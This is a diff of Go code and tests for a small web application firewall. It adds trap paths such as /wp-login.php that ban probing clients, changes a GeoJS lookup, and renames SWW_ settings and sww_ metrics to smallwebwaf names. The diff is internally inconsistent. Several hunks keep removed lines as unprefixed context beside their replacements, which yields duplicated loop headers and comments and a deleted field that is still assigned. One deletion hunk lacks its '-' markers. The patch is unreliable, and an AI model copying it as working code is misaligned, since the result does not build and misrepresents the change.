 	"time"
 	"sneak.berlin/go/smallwebwaf/internal/bans"
 	"sneak.berlin/go/smallwebwaf/internal/requestlog"
 	"sneak.berlin/go/smallwebwaf/internal/rules"
 )
 // trapPath reports whether the request asks for a path in
 // SWW_TRAP_PATHS: its path as a path rule sees it, without the query,
 // as sent or once percent-decoded, is one of them. Such a request is a
 // clear sign of attack, as a ban rule's match is: it bans the client's
 // netblock, or in observe mode raises the alert for the ban it would have
 // made. The ban's notes give the path as sent.
 func (rq *request) trapPath(now time.Time) bool {
 	path := rules.Path(rq.in)
 	if !slices.Contains(rq.h.config.TrapPaths, path) &&
 		!slices.Contains(rq.h.config.TrapPaths, rules.DecodeOnce(path)) {
 		return false
 	}
 	rq.attack = true
 	rq.banForAttack(now, bans.Notes{TrapPath: path})
 	return true
 }
 // checkRules checks the request against the rules of the rule files at
 // now, notes the ids of those it matches in the log line, and returns the
 // action of the rule that refuses it, ActionRuleBlocked for a block rule
 // and ActionBanned for a ban rule, or "" when none does. A ban rule bans
 // the client's netblock for a clear sign of attack, or in observe mode
 // raises the alert for the ban it would have made. Either rule's match
 // is noted as an offence, for the client's history.
 func (rq *request) checkRules(now time.Time) string {
 	matched := rq.h.rules.Match(rq.in)
 	for _, rule := range matched {
 		rq.line.RuleIDs = append(rq.line.RuleIDs, rule.ID)
 		rq.h.metrics.RuleMatched(rule.ID, rule.Action)
 	}
 	if len(matched) == 0 {
 		return ""
 	}
 	// Only the last rule matched can refuse the request.
 	switch last := matched[len(matched)-1]; last.Action {
 	case rules.ActionBlock:
 		rq.ruleBlocked = true
 		return requestlog.ActionRuleBlocked
 	case rules.ActionBan:
 		rq.attack = true
 		rq.banForAttack(now, bans.Notes{RuleID: last.ID, Target: last.Target})
 		return requestlog.ActionBanned
 	default:
 		return ""
 	}
 }
@@ -1,130 +0,0 @@
 package discriminator_test
 import (
 	"net/http"
 	"net/netip"
 	"reflect"
 	"testing"
 	"time"
 	"sneak.berlin/go/smallwebwaf/internal/bans"
 	"sneak.berlin/go/smallwebwaf/internal/requestlog"
 )
 // trapPaths is the setting's name, and trapPathList what the tests set it
 // to.
 const (
 	trapPaths    = "SWW_TRAP_PATHS"
 	trapPathList = "/wp-login.php,/xmlrpc.php"
 )
 func TestTrapPathBansAsABanRuleDoes(t *testing.T) {
 	t.Parallel()
 	const allowed = "192.0.2.60" // in SWW_ALLOW_NETS
 	// A block rule for the same path: the trap path comes first.
 	s, clk, server := startWithClock(t, "", map[string]string{
 		trapPaths:   trapPathList,
 		rulesDir:    writeRules(t, `wp  path  block  ^/wp-login\.php$`),
 		allowNets:   allowed,
 		banResponse: "429",
 	})
 	start := clk.Now()
 	// Only the path itself, the whole of it in the same case, is a trap
 	// path.
 	for _, path := range []string{"/wp-login.php/", "/WP-LOGIN.PHP", "/blog/xmlrpc.php"} {
 		s.request(otherClient, path, http.StatusOK, requestlog.ActionForward)
 	}
 	// A client in SWW_ALLOW_NETS is not checked.
 	s.request(allowed, "/xmlrpc.php", http.StatusOK, requestlog.ActionForward)
 	// The query is not part of the path.
 	line := s.request(client, "/wp-login.php?redirect_to=x", http.StatusTooManyRequests,
 		requestlog.ActionBanned)
 	wantRuleIDs(t, line)
 	if line.BanExpires != requestlog.FormatTime(start.Add(7*24*time.Hour)) {
 		t.Errorf("log line has ban_expires %q, want seven days on", line.BanExpires)
 	}
 	netblock := netip.MustParsePrefix(client + "/32")
 	want := bans.Ban{
 		Netblock: netblock,
 		Start:    start,
 		Expires:  start.Add(7 * 24 * time.Hour),
 		Cause:    bans.CauseAttack,
 		Reason:   "asked for the trap path /wp-login.php",
 		Notes: bans.Notes{
 			TrapPath: "/wp-login.php",
 			Request: bans.Request{
 				Time:      start,
 				Method:    http.MethodGet,
 				Host:      appHost,
 				Path:      "/wp-login.php?redirect_to=x",
 				Status:    http.StatusTooManyRequests,
 				UserAgent: userAgent,
 			},
 			Requests: 1,
 		},
 	}
 	got := server.Ledger.Bans(netblock)
 	if len(got) != 1 || !reflect.DeepEqual(got[0], want) {
 		t.Fatalf("bans\n%+v\nwant\n%+v", got, want)
 	}
 	// The next request is refused under the ban, and makes it permanent.
 	line = s.get(client, http.StatusTooManyRequests, requestlog.ActionBanned)
 	if line.BanExpires != permanent {
 		t.Errorf("log line has ban_expires %q, want permanent", line.BanExpires)
 	}
 }
 func TestTrapPathMatchesThePathDecodedOnce(t *testing.T) {
 	t.Parallel()
 	s, _, server := startWithClock(t, "", map[string]string{trapPaths: trapPathList})
 	// %2577 decodes once to %77, not to w.
 	s.request(otherClient, "/%2577p-login.php", http.StatusOK, requestlog.ActionForward)
 	s.request(client, "/%77p-login.php", http.StatusForbidden, requestlog.ActionBanned)
 	// The ban's notes give the path as the client sent it.
 	got := server.Ledger.Bans(netip.MustParsePrefix(client + "/32"))
 	if len(got) != 1 || got[0].Notes.TrapPath != "/%77p-login.php" {
 		t.Fatalf("bans %+v, want one whose notes give the trap path /%%77p-login.php", got)
 	}
 }
 func TestTrapPathsNeedNoRuleFiles(t *testing.T) {
 	t.Parallel()
 	s, _, _ := startWithClock(t, "", map[string]string{
 		trapPaths:           trapPathList,
 		"SWW_RULES_ENABLED": "false",
 	})
 	s.request(client, "/xmlrpc.php", http.StatusForbidden, requestlog.ActionBanned)
 }
 func TestObserveModeLogsWhatATrapPathWouldDo(t *testing.T) {
 	t.Parallel()
 	s, _, server := startWithClock(t, "", map[string]string{
 		trapPaths: trapPathList,
 		mode:      observe,
 	})
 	line := s.request(client, "/xmlrpc.php", http.StatusOK, requestlog.ActionForward)
 	wantWouldAction(t, line, requestlog.ActionBanned)
 	// No ban was made.
 	s.get(client, http.StatusOK, requestlog.ActionForward)
 	if got := server.Ledger.Snapshot(); len(got) != 0 {
 		t.Errorf("bans %+v, want none", got)
 	}
 }
@@ -24,7 +24,7 @@ const quietTime = 2 * time.Second
 // FileParams are what OpenFile needs.
 type FileParams struct {
 	// Path is the lookup database, the IPinfo Lite file in its .mmdb form
-	// (SWW_LOOKUP_DB_PATH).
+	// (SWWAF_LOOKUP_DB_PATH).
 	Path string
 	// Now tells the time, normally time.Now.
 	Now func() time.Time
@@ -51,7 +51,7 @@ type File struct {
 }
 // record is what the lookup database holds about a network, of the fields
-// sww reads.
+// smallwebwaf reads.
 type record struct {
 	ASN         string `maxminddb:"asn"`
 	ASName      string `maxminddb:"as_name"`
@@ -221,12 +221,12 @@ func (f *File) use(reader *maxminddb.Reader) {
 func read(path string) (*maxminddb.Reader, error) {
 	data, err := os.ReadFile(path) //nolint:gosec // the file the admin names
 	if err != nil {
-		return nil, fmt.Errorf("SWW_LOOKUP_DB_PATH cannot be read: %w", err)
+		return nil, fmt.Errorf("SWWAF_LOOKUP_DB_PATH cannot be read: %w", err)
 	}
 	reader, err := maxminddb.OpenBytes(data)
 	if err != nil {
-		return nil, fmt.Errorf("SWW_LOOKUP_DB_PATH %s is not a .mmdb file: %w", path, err)
+		return nil, fmt.Errorf("SWWAF_LOOKUP_DB_PATH %s is not a .mmdb file: %w", path, err)
 	}
 	return reader, nil
@@ -99,9 +99,9 @@ func TestFileThatCannotBeReadIsAnError(t *testing.T) {
 	writeFile(t, notDatabase, "not a lookup database\n")
 	for path, want := range map[string]string{
-		missing: "SWW_LOOKUP_DB_PATH cannot be read: open " + missing +
+		missing: "SWWAF_LOOKUP_DB_PATH cannot be read: open " + missing +
 			": no such file or directory",
-		notDatabase: "SWW_LOOKUP_DB_PATH " + notDatabase +
+		notDatabase: "SWWAF_LOOKUP_DB_PATH " + notDatabase +
 			" is not a .mmdb file: error opening database: invalid MaxMind DB file",
 	} {
 		_, err := OpenFile(FileParams{
@@ -216,7 +216,7 @@ func TestReplacementThatCannotBeReadLeavesTheFileInUseWithOneAlert(t *testing.T)
 			Reason: "the lookup database cannot be read, and the one read before stays in use",
 			Detail: map[string]any{
 				"file": path,
-				"error": "SWW_LOOKUP_DB_PATH " + path + " is not a .mmdb file: " +
+				"error": "SWWAF_LOOKUP_DB_PATH " + path + " is not a .mmdb file: " +
 					"error opening database: invalid MaxMind DB file",
 			},
 		})
@@ -1,6 +1,6 @@
 // Package lookup looks up each client's AS number and country, through
 // the GeoJS web service or in the lookup database, the IPinfo Lite file
-// SWW_LOOKUP_DB_PATH names. GeoJS's answers are kept in memory, for at
+// SWWAF_LOOKUP_DB_PATH names. GeoJS's answers are kept in memory, for at
 // most 100,000 clients and for 7 days each, and are written to
 // lookups.json and read from it by the state package.
 package lookup
@@ -66,7 +66,7 @@ type Params struct {
 	URL string
 	// Timeout is how long a request waits for its client's first answer,
 	// and how long a request to GeoJS may take before it is abandoned
-	// (SWW_LOOKUP_TIMEOUT).
+	// (SWWAF_LOOKUP_TIMEOUT).
 	Timeout time.Duration
 	// Wait is true when a setting needs each request's answer before the
 	// request goes on. Otherwise no request waits for one.
@@ -176,10 +176,9 @@ func New(params Params) *GeoJS {
 // when it ends.
 //
 // GeoJS is asked about the client's first address, which is the client's
-// own address for IPv4, and an address in the same place for an IPv6
+// own address for IPv4, and an address in the same place for an IPv6 /64.
 // netblock.
 func (g *GeoJS) LookUp(ctx context.Context, client netip.Prefix) Answer {
-	answer, asked := g.answerOrWait(ctx, client, g.wait)
+	answer, asked := g.answerOrWait(ctx, client)
 	if asked == nil {
 		return answer
 	}
@@ -209,14 +208,6 @@ func (g *GeoJS) LookUp(ctx context.Context, client netip.Prefix) Answer {
 	return answer
 }
 // LookUpWithoutWaiting is LookUp for a request that does not need the answer,
 // whatever Wait says: it returns the zero Answer at once when none is kept.
 func (g *GeoJS) LookUpWithoutWaiting(ctx context.Context, client netip.Prefix) Answer {
 	answer, _ := g.answerOrWait(ctx, client, false)
 	return answer
 }
 // Kept returns client's answer, if one is kept, without asking GeoJS.
 func (g *GeoJS) Kept(client netip.Prefix) (Answer, bool) {
 	g.mu.Lock()
@@ -271,9 +262,9 @@ func (g *GeoJS) Load(answers []Answer) {
 // answerOrWait returns client's kept answer if it has one. Otherwise it
 // puts the client among those waiting if there is room, has GeoJS asked
 // about them if it can be, and returns what to wait on for the answer, or
-// nil when there is nothing to wait for or mustWait is false.
+// nil when there is nothing to wait for.
 func (g *GeoJS) answerOrWait(
-	ctx context.Context, client netip.Prefix, mustWait bool,
+	ctx context.Context, client netip.Prefix,
 ) (Answer, <-chan struct{}) {
 	g.mu.Lock()
 	defer g.mu.Unlock()
@@ -291,7 +282,7 @@ func (g *GeoJS) answerOrWait(
 	g.ask(ctx)
-	if !mustWait {
+	if !g.wait {
 		return Answer{}, nil // the answer is not needed before the request goes on
 	}
@@ -72,39 +72,6 @@ func TestKeptAnswerIsUsedFor7DaysThenAskedAgain(t *testing.T) {
 	})
 }
 func TestLookUpWithoutWaitingAsksGeoJSAndGoesOnAtOnce(t *testing.T) {
 	t.Parallel()
 	synctest.Test(t, func(t *testing.T) {
 		geojs, clock, g := start()
 		client := netip.MustParsePrefix("203.0.113.9/32")
 		// Wait is set, and GeoJS does not answer.
 		geojs.set(hanging)
 		began := time.Now()
 		answer := g.LookUpWithoutWaiting(t.Context(), client)
 		if waited := time.Since(began); waited != 0 || answer != (lookup.Answer{}) {
 			t.Errorf("got %+v after %s, want no answer at once", answer, waited)
 		}
 		waitForRequests(t, geojs, 1)
 		wantAsked(t, geojs, 0, "203.0.113.9")
 		// That request is abandoned, and has failed once this returns. GeoJS
 		// answers when it is asked again, and the answer is kept.
 		time.Sleep(timeout)
 		synctest.Wait()
 		geojs.set(answering)
 		waitForCountry(t, g, clock, client, germany)
 		if got := g.LookUpWithoutWaiting(t.Context(), client).Country; got != germany {
 			t.Errorf("the kept answer gives the country %q, want %q", got, germany)
 		}
 	})
 }
 func TestNewClientWaitsAtMostOneSecondThenCountsAsNotFound(t *testing.T) {
 	t.Parallel()
@@ -156,8 +123,8 @@ func TestRequestWaitsAsLongAsTheTimeoutSaysAndGeoJSIsAbandonedAfterIt(t *testing
 	t.Parallel()
 	synctest.Test(t, func(t *testing.T) {
-		// A timeout longer than the default, and a GeoJS that does not
+		// A timeout longer than the default second, and a GeoJS that does
-		// answer.
+		// not answer.
 		const longerTimeout = 3 * time.Second
 		m := metrics.New(1, "app")
@@ -17,7 +17,7 @@ import (
 const fileMode = 0o600
 // Network is what a lookup database holds about a netblock, of the fields
-// sww reads: its AS number, such as AS64496, the AS's name, and
+// smallwebwaf reads: its AS number, such as AS64496, the AS's name, and
 // its country, such as DE.
 type Network struct {
 	ASN     string
@@ -41,7 +41,7 @@ type busiest struct {
 // for the topN busiest countries.
 func newCountries(topN int) *busiest {
 	countries := newBusiest(topN, "country", "the client's country")
-	countries.refused = counterVec("sww_country_list_refusals_total",
+	countries.refused = counterVec("smallwebwaf_country_list_refusals_total",
 		"Requests the country lists refused, by the client's country.",
 		[]string{"country"})
@@ -61,11 +61,11 @@ func newBusiest(topN int, label, description string) *busiest {
 	return &busiest{
 		topN: topN,
-		requests: counterVec("sww_"+label+"_requests_total",
+		requests: counterVec("smallwebwaf_"+label+"_requests_total",
 			"Requests, by "+description+".", by),
-		requestBytes: counterVec("sww_"+label+"_request_bytes_total",
+		requestBytes: counterVec("smallwebwaf_"+label+"_request_bytes_total",
 			"Request body bytes, by "+description+".", by),
-		responseBytes: counterVec("sww_"+label+"_response_bytes_total",
+		responseBytes: counterVec("smallwebwaf_"+label+"_response_bytes_total",
 			"Response body bytes, by "+description+".", by),
 		seen: map[string]int64{},
 		top:  map[string]bool{},
@@ -1,12 +1,12 @@
-// Package metrics keeps sww's Prometheus metrics, as
+// Package metrics keeps smallwebwaf's Prometheus metrics, as the "Metrics
-// docs/metrics.md lists them, and serves them in the Prometheus text
+// endpoint" section of SPEC.md lists them, and serves them in the
-// format, as the "Metrics endpoint" section of SPEC.md requires. No
+// Prometheus text format. No metric carries a client's address.
 // metric carries a client's address.
 package metrics
 import (
 	"net/http"
 	"strconv"
 	"strings"
 	"time"
 	"github.com/prometheus/client_golang/prometheus"
@@ -14,15 +14,13 @@ import (
 	"github.com/prometheus/client_golang/prometheus/promhttp"
 	"sneak.berlin/go/smallwebwaf/internal/alerts"
 	"sneak.berlin/go/smallwebwaf/internal/bans"
 	"sneak.berlin/go/smallwebwaf/internal/config"
 	"sneak.berlin/go/smallwebwaf/internal/ratelimit"
 	"sneak.berlin/go/smallwebwaf/internal/remotelog"
 	"sneak.berlin/go/smallwebwaf/internal/reputation"
 	"sneak.berlin/go/smallwebwaf/internal/requestlog"
 	"sneak.berlin/go/smallwebwaf/internal/rules"
 )
-// Metrics are sww's metrics. They are safe for concurrent use.
+// Metrics are smallwebwaf's metrics. They are safe for concurrent use.
 type Metrics struct {
 	// registry gives every metric registered with it the label instance.
 	registry prometheus.Registerer
@@ -35,12 +33,10 @@ type Metrics struct {
 	requestDuration      prometheus.Histogram
 	upstreamDuration     prometheus.Histogram
 	rateLimitHits        *prometheus.CounterVec
 	sizeAndTimeLimitHits *prometheus.CounterVec
 	offences             *prometheus.CounterVec
-	wafMatches       *prometheus.CounterVec
+	// ruleMatches are made by AddRules.
 	// ruleMatches are made by AddRules, and reputationHits by
 	// AddReputation.
 	ruleMatches *prometheus.CounterVec
 	reputationHits *prometheus.CounterVec
 	countries   *busiest
 	asns        *busiest
@@ -62,10 +58,8 @@ type Metrics struct {
 // New returns the metrics, with the Go runtime's and the process's own.
 // topN is how many countries and how many AS numbers get series of their
-// own (SWW_METRICS_TOP_N). Every metric carries instanceName
+// own (SWWAF_METRICS_TOP_N). Every metric carries instanceName
-// (SWW_INSTANCE_NAME) as its label instance.
+// (SWWAF_INSTANCE_NAME) as its label instance.
 //
 //nolint:funlen // a few lines for each metric, a list that grows with them
 func New(topN int, instanceName string) *Metrics {
 	byStatus := []string{"status_class", "action"}
 	byFile := []string{"file"}
@@ -76,60 +70,60 @@ func New(topN int, instanceName string) *Metrics {
 			prometheus.Labels{"instance": instanceName}, registry),
 		handler: promhttp.HandlerFor(registry, promhttp.HandlerOpts{}),
 		inFlight: prometheus.NewGauge(prometheus.GaugeOpts{
-			Name: "sww_requests_in_flight",
+			Name: "smallwebwaf_requests_in_flight",
 			Help: "Requests under way.",
 		}),
-		requests: counterVec("sww_requests_total",
+		requests: counterVec("smallwebwaf_requests_total",
 			"Requests, by the class of their status and their action.", byStatus),
-		requestBytes: counterVec("sww_request_bytes_total",
+		requestBytes: counterVec("smallwebwaf_request_bytes_total",
 			"Request body bytes, by the class of the status and the action.",
 			byStatus),
-		responseBytes: counterVec("sww_response_bytes_total",
+		responseBytes: counterVec("smallwebwaf_response_bytes_total",
 			"Response body bytes, by the class of the status and the action.",
 			byStatus),
 		requestDuration: prometheus.NewHistogram(prometheus.HistogramOpts{
-			Name: "sww_request_duration_seconds",
+			Name: "smallwebwaf_request_duration_seconds",
 			Help: "How long requests took, from their arrival to their end.",
 		}),
 		upstreamDuration: prometheus.NewHistogram(prometheus.HistogramOpts{
-			Name: "sww_upstream_duration_seconds",
+			Name: "smallwebwaf_upstream_duration_seconds",
 			Help: "How long requests passed to the app took, from then to their end.",
 		}),
-		rateLimitHits: counterVec("sww_rate_limit_hits_total",
+		rateLimitHits: counterVec("smallwebwaf_rate_limit_hits_total",
-			"Requests that broke a rate limit, a byte limit or the error burst, by "+
+			"Requests that broke a rate limit or a byte limit, by its window and "+
-				"its window and its kind, requests, bytes or refusals.",
+				"its kind, requests or bytes.",
 			[]string{"window", "kind"}),
-		offences: counterVec("sww_offences_total",
+		sizeAndTimeLimitHits: counterVec("smallwebwaf_size_and_time_limit_hits_total",
 			"Requests that passed a size or time limit, by its setting.",
 			[]string{"limit"}),
 		offences: counterVec("smallwebwaf_offences_total",
 			"Offences, by kind.", []string{"kind"}),
 		wafMatches: counterVec("sww_waf_matches_total",
 			"Requests that matched a rule of the Core Rule Set, by SWW_WAF_MODE "+
 				"and the rule's id.", []string{"mode", "rule_id"}),
 		countries: newCountries(topN),
 		asns:      newASNs(topN),
 		GeoJSRequests: prometheus.NewCounter(prometheus.CounterOpts{
-			Name: "sww_geojs_requests_total",
+			Name: "smallwebwaf_geojs_requests_total",
 			Help: "Requests to GeoJS.",
 		}),
 		GeoJSFailures: prometheus.NewCounter(prometheus.CounterOpts{
-			Name: "sww_geojs_failures_total",
+			Name: "smallwebwaf_geojs_failures_total",
 			Help: "Requests to GeoJS that failed.",
 		}),
 		GeoJSUnanswered: prometheus.NewCounter(prometheus.CounterOpts{
-			Name: "sww_geojs_unanswered_total",
+			Name: "smallwebwaf_geojs_unanswered_total",
 			Help: "Requests that needed their client's answer from GeoJS and " +
 				"went on without it, because GeoJS had not given it in time.",
 		}),
-		stateFileWrites: counterVec("sww_state_file_writes_total",
+		stateFileWrites: counterVec("smallwebwaf_state_file_writes_total",
 			"Writes of each state file.", byFile),
-		stateFileWriteFailures: counterVec("sww_state_file_write_failures_total",
+		stateFileWriteFailures: counterVec("smallwebwaf_state_file_write_failures_total",
 			"Writes of each state file that failed.", byFile),
-		stateFileLastWrite: gaugeVec("sww_state_file_last_write_timestamp_seconds",
+		stateFileLastWrite: gaugeVec("smallwebwaf_state_file_last_write_timestamp_seconds",
 			"When each state file was last written, in seconds since 1970.", byFile),
-		stateFileSize: gaugeVec("sww_state_file_size_bytes",
+		stateFileSize: gaugeVec("smallwebwaf_state_file_size_bytes",
 			"The size of each state file, as it was last written.", byFile),
-		stateFileEditsTakenIn: counterVec("sww_state_file_edits_taken_in_total",
+		stateFileEditsTakenIn: counterVec("smallwebwaf_state_file_edits_taken_in_total",
 			"Edits of each state file taken in while running.", byFile),
-		stateFileEditsSetAside: counterVec("sww_state_file_edits_set_aside_total",
+		stateFileEditsSetAside: counterVec("smallwebwaf_state_file_edits_set_aside_total",
 			"Edits of each state file renamed to <name>.bad because they did not parse.",
 			byFile),
 	}
@@ -139,8 +133,7 @@ func New(topN int, instanceName string) *Metrics {
 		collectors.NewProcessCollector(collectors.ProcessCollectorOpts{}),
 		m.inFlight, m.requests, m.requestBytes, m.responseBytes,
 		m.requestDuration, m.upstreamDuration,
-		m.rateLimitHits, m.offences, m.wafMatches,
+		m.rateLimitHits, m.sizeAndTimeLimitHits, m.offences, m.countries, m.asns,
 		m.countries, m.asns,
 		m.GeoJSRequests, m.GeoJSFailures, m.GeoJSUnanswered,
 		m.stateFileWrites, m.stateFileWriteFailures,
 		m.stateFileLastWrite, m.stateFileSize,
@@ -157,11 +150,9 @@ func New(topN int, instanceName string) *Metrics {
 func (m *Metrics) AddBansAndClients(
 	ledger *bans.Ledger, limiter *ratelimit.Limiter, now func() time.Time,
 ) {
-	for _, cause := range []string{
+	for _, cause := range []string{bans.CauseLimit, bans.CauseAttack, bans.CauseAdmin} {
 		bans.CauseLimit, bans.CauseAttack, bans.CauseAdmin, bans.CauseCrowdSec,
 	} {
 		m.registry.MustRegister(prometheus.NewCounterFunc(prometheus.CounterOpts{
-			Name:        "sww_bans_made_total",
+			Name:        "smallwebwaf_bans_made_total",
 			Help:        "Bans made, by cause.",
 			ConstLabels: prometheus.Labels{"cause": cause},
 		}, func() float64 {
@@ -171,7 +162,7 @@ func (m *Metrics) AddBansAndClients(
 	m.registry.MustRegister(
 		prometheus.NewGaugeFunc(prometheus.GaugeOpts{
-			Name: "sww_active_bans",
+			Name: "smallwebwaf_active_bans",
 			Help: "Bans active now, the permanent ones included.",
 		}, func() float64 {
 			active, _ := ledger.Count(now())
@@ -179,7 +170,7 @@ func (m *Metrics) AddBansAndClients(
 			return float64(active)
 		}),
 		prometheus.NewGaugeFunc(prometheus.GaugeOpts{
-			Name: "sww_permanent_bans",
+			Name: "smallwebwaf_permanent_bans",
 			Help: "Permanent bans not lifted.",
 		}, func() float64 {
 			_, permanent := ledger.Count(now())
@@ -187,7 +178,7 @@ func (m *Metrics) AddBansAndClients(
 			return float64(permanent)
 		}),
 		prometheus.NewGaugeFunc(prometheus.GaugeOpts{
-			Name: "sww_tracked_clients",
+			Name: "smallwebwaf_tracked_clients",
 			Help: "Clients in the table of clients.",
 		}, func() float64 {
 			return float64(limiter.Len())
@@ -200,13 +191,13 @@ func (m *Metrics) AddBansAndClients(
 // ruleFiles, read as the metrics are asked for. It is called once, before
 // RuleMatched.
 func (m *Metrics) AddRules(ruleFiles *rules.Files) {
-	m.ruleMatches = counterVec("sww_rule_matches_total",
+	m.ruleMatches = counterVec("smallwebwaf_rule_matches_total",
 		"Requests that matched a rule of the rule files, by its id and action.",
 		[]string{"rule_id", "action"})
 	m.registry.MustRegister(m.ruleMatches,
 		prometheus.NewGaugeFunc(prometheus.GaugeOpts{
-			Name: "sww_rules_loaded",
+			Name: "smallwebwaf_rules_loaded",
 			Help: "Rules loaded from the rule files.",
 		}, func() float64 {
 			return float64(ruleFiles.Len())
@@ -214,25 +205,25 @@ func (m *Metrics) AddRules(ruleFiles *rules.Files) {
 }
 // AddRemoteLog adds the metrics of sending the log lines to
-// SWW_LOG_REMOTE_URL, read from remote as the metrics are asked for: the
+// SWWAF_LOG_REMOTE_URL, read from remote as the metrics are asked for: the
 // lines sent, those dropped, and those waiting in the buffer.
 func (m *Metrics) AddRemoteLog(remote *remotelog.Sender) {
 	m.registry.MustRegister(
 		prometheus.NewCounterFunc(prometheus.CounterOpts{
-			Name: "sww_remote_log_lines_sent_total",
+			Name: "smallwebwaf_remote_log_lines_sent_total",
-			Help: "Log lines sent to SWW_LOG_REMOTE_URL.",
+			Help: "Log lines sent to SWWAF_LOG_REMOTE_URL.",
 		}, func() float64 {
 			return float64(remote.Sent())
 		}),
 		prometheus.NewCounterFunc(prometheus.CounterOpts{
-			Name: "sww_remote_log_lines_dropped_total",
+			Name: "smallwebwaf_remote_log_lines_dropped_total",
 			Help: "Log lines dropped: the oldest in a full buffer, and those " +
 				"whose sending failed.",
 		}, func() float64 {
 			return float64(remote.Dropped())
 		}),
 		prometheus.NewGaugeFunc(prometheus.GaugeOpts{
-			Name: "sww_remote_log_buffer_depth",
+			Name: "smallwebwaf_remote_log_buffer_depth",
 			Help: "Log lines in the buffer, waiting to be sent.",
 		}, func() float64 {
 			return float64(remote.Depth())
@@ -248,13 +239,13 @@ func (m *Metrics) AddRemoteLog(remote *remotelog.Sender) {
 func (m *Metrics) AddLookupFile(lastRead func() time.Time, readFailures func() int) {
 	m.registry.MustRegister(
 		prometheus.NewGaugeFunc(prometheus.GaugeOpts{
-			Name: "sww_lookup_database_last_read_timestamp_seconds",
+			Name: "smallwebwaf_lookup_database_last_read_timestamp_seconds",
 			Help: "When the lookup database in use was read, in seconds since 1970.",
 		}, func() float64 {
 			return float64(lastRead().Unix())
 		}),
 		prometheus.NewCounterFunc(prometheus.CounterOpts{
-			Name: "sww_lookup_database_read_failures_total",
+			Name: "smallwebwaf_lookup_database_read_failures_total",
 			Help: "Replacements of the lookup database that could not be read.",
 		}, func() float64 {
 			return float64(readFailures())
@@ -262,81 +253,6 @@ func (m *Metrics) AddLookupFile(lastRead func() time.Time, readFailures func() i
 	)
 }
 // sourceLabel is the label of the reputation metrics: a list's URL, a
 // DNSBL zone, its key masked, or abuseipdb.
 const sourceLabel = "source"
 // AddReputation adds the metrics of the lists fetched from URLs and of the
 // DNSBL zones, by source, each list's URL or each zone, its key masked as
 // config.MaskZoneKey masks it: the requests whose client a blocklist, the
 // CrowdSec decision list, a zone's verdict or AbuseIPDB's score lists,
 // which ReputationHit counts, and, read from lists and dnsbl as the
 // metrics are asked for, for a list, the fetches that failed and when the
 // copy in use was fetched, and for a zone, the queries made and those that
 // failed. It is called once, before ReputationHit.
 func (m *Metrics) AddReputation(lists *reputation.Lists, dnsbl *reputation.DNSBL) {
 	m.reputationHits = counterVec("sww_reputation_hits_total",
 		"Requests whose client a blocklist, the CrowdSec decision list, a DNSBL "+
 			"zone or AbuseIPDB lists, by the list's URL, the zone, or abuseipdb.",
 		[]string{sourceLabel})
 	m.registry.MustRegister(m.reputationHits)
 	for _, zone := range dnsbl.Zones() {
 		source := prometheus.Labels{sourceLabel: config.MaskZoneKey(zone)}
 		m.addReputationQueries(source, func() int { return dnsbl.Queries(zone) })
 		m.addReputationFailures(source, func() int { return dnsbl.Failures(zone) })
 	}
 	for _, listURL := range lists.URLs() {
 		source := prometheus.Labels{sourceLabel: listURL}
 		m.addReputationFailures(source, func() int { return lists.Failures(listURL) })
 		m.registry.MustRegister(
 			prometheus.NewGaugeFunc(prometheus.GaugeOpts{
 				Name: "sww_reputation_last_fetch_timestamp_seconds",
 				Help: "When the copy of the list in use was fetched, in seconds since " +
 					"1970, or 0 while there is none.",
 				ConstLabels: source,
 			}, func() float64 {
 				fetched := lists.Fetched(listURL)
 				if fetched.IsZero() {
 					return 0
 				}
 				return float64(fetched.Unix())
 			}),
 		)
 	}
 }
 // AddAbuseIPDB adds the metrics of AbuseIPDB, with the source abuseipdb,
 // read from abuseIPDB as the metrics are asked for: the checks made, those
 // that failed, and how many checks the day's budget has left. It is
 // called once, after AddReputation, while SWW_ABUSEIPDB_KEY is set.
 func (m *Metrics) AddAbuseIPDB(abuseIPDB *reputation.AbuseIPDB) {
 	source := prometheus.Labels{sourceLabel: reputation.AbuseIPDBSource}
 	m.addReputationQueries(source, abuseIPDB.Checked)
 	m.addReputationFailures(source, abuseIPDB.Failures)
 	m.registry.MustRegister(
 		prometheus.NewGaugeFunc(prometheus.GaugeOpts{
 			Name:        "sww_reputation_daily_budget_remaining",
 			Help:        "Checks of the day's SWW_ABUSEIPDB_DAILY_BUDGET not yet spent.",
 			ConstLabels: source,
 		}, func() float64 {
 			return float64(abuseIPDB.BudgetLeft())
 		}),
 	)
 }
 // ReputationHit counts a request whose client source lists: a blocklist
 // or the CrowdSec decision list, by its URL, a DNSBL zone, its key masked,
 // or AbuseIPDB, abuseipdb.
 func (m *Metrics) ReputationHit(source string) {
 	m.reputationHits.WithLabelValues(source).Inc()
 }
 // AddAlerts adds the metrics of the alerts sent to each destination set,
 // read from queue as the metrics are asked for, by destination: the
 // alerts sent, the requests to the destination that failed, the alerts
@@ -348,29 +264,29 @@ func (m *Metrics) AddAlerts(queue *alerts.Queue) {
 		m.registry.MustRegister(
 			prometheus.NewCounterFunc(prometheus.CounterOpts{
-				Name:        "sww_alerts_sent_total",
+				Name:        "smallwebwaf_alerts_sent_total",
 				Help:        "Alerts the destination took.",
 				ConstLabels: destination,
 			}, func() float64 {
 				return float64(queue.Counts(name).Sent)
 			}),
 			prometheus.NewCounterFunc(prometheus.CounterOpts{
-				Name:        "sww_alerts_failed_total",
+				Name:        "smallwebwaf_alerts_failed_total",
 				Help:        "Requests to the destination that failed.",
 				ConstLabels: destination,
 			}, func() float64 {
 				return float64(queue.Counts(name).Failed)
 			}),
 			prometheus.NewCounterFunc(prometheus.CounterOpts{
-				Name: "sww_alerts_suppressed_total",
+				Name: "smallwebwaf_alerts_suppressed_total",
-				Help: "Alerts held back: repeats within SWW_ALERT_COOLDOWN, and " +
+				Help: "Alerts held back: repeats within SWWAF_ALERT_COOLDOWN, and " +
-					"alerts past SWW_ALERT_MAX_PER_HOUR, for the hour's summary.",
+					"alerts past SWWAF_ALERT_MAX_PER_HOUR, for the hour's summary.",
 				ConstLabels: destination,
 			}, func() float64 {
 				return float64(queue.Suppressed())
 			}),
 			prometheus.NewCounterFunc(prometheus.CounterOpts{
-				Name: "sww_alerts_dropped_total",
+				Name: "smallwebwaf_alerts_dropped_total",
 				Help: "Alerts dropped, the oldest first, from a full queue, and " +
 					"alerts given up as the destination refused them.",
 				ConstLabels: destination,
@@ -391,47 +307,51 @@ func (m *Metrics) RequestStarted() {
 	m.inFlight.Inc()
 }
-// RequestEnded counts a request that has ended without being passed to the app,
+// RequestEnded counts a request that has ended, from its log line. limit
-// from its log line. duration is how long the request took.
+// is the setting whose size or time limit the request passed, "" if none.
